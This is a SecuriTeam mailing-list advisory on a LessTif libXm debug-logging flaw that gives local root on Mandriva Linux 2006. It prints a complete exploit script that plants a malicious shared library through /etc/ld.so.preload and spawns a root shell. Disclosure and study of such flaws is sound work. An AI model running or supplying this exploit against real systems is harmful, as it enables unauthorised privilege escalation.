The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Liblesstif Local Root (Exploit)
------------------------------------------------------------------------
SUMMARY
LessTif is "the Hungry Programmers' version of OSF/Motif. It aims to be
source compatible meaning that the same source code should compile with
both and work exactly the same". LibXm a part of LessTif handles debug
logging in insecure manner leading to local root exploit.
DETAILS
Vulnerable Systems:
* liblesstif2-0.93.94-4mdk on Mandriva Linux 2006
Library allows to set logging of debugging information to file by setting
up environment variable DEBUG_FILE. While executing setuid binary linked
against libXm library, it doesn't check anything. Library opens file in
append mode with permission according to umask, so there is possibility to
create world writable, root owned files.
Analysis:
Creating world writable file with effective uid of root, allows in various
ways to elevate privileges f.ex. by creating /etc/ld.so.preload.
Exploit:
Exploit needs mtink to be setuid (default in Mandriva Linux 2006)
#!/bin/sh
echo
echo "mtink libXm local root exploit"
echo "* karol@wiesek.pl *"
echo
umask 000
export DEBUG_FILE="/etc/ld.so.preload"
cat > /tmp/lib.c << _EOF
#include <unistd.h>
void _init(void)
{
if (getuid()!=0 && geteuid()==0)
{
setuid(0);
unlink("/etc/ld.so.preload");
execl("/bin/bash", "bash", 0);
}
}
_EOF
/usr/bin/gcc -o /tmp/lib.o -c /tmp/lib.c
/usr/bin/ld -shared -o /tmp/lib.so /tmp/lib.o
/usr/bin/mtink
echo "/tmp/lib.so" > /etc/ld.so.preload
/bin/ping
ADDITIONAL INFORMATION
The information has been provided by <mailto:karol@wiesek.pl> Karol
Wiesek.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
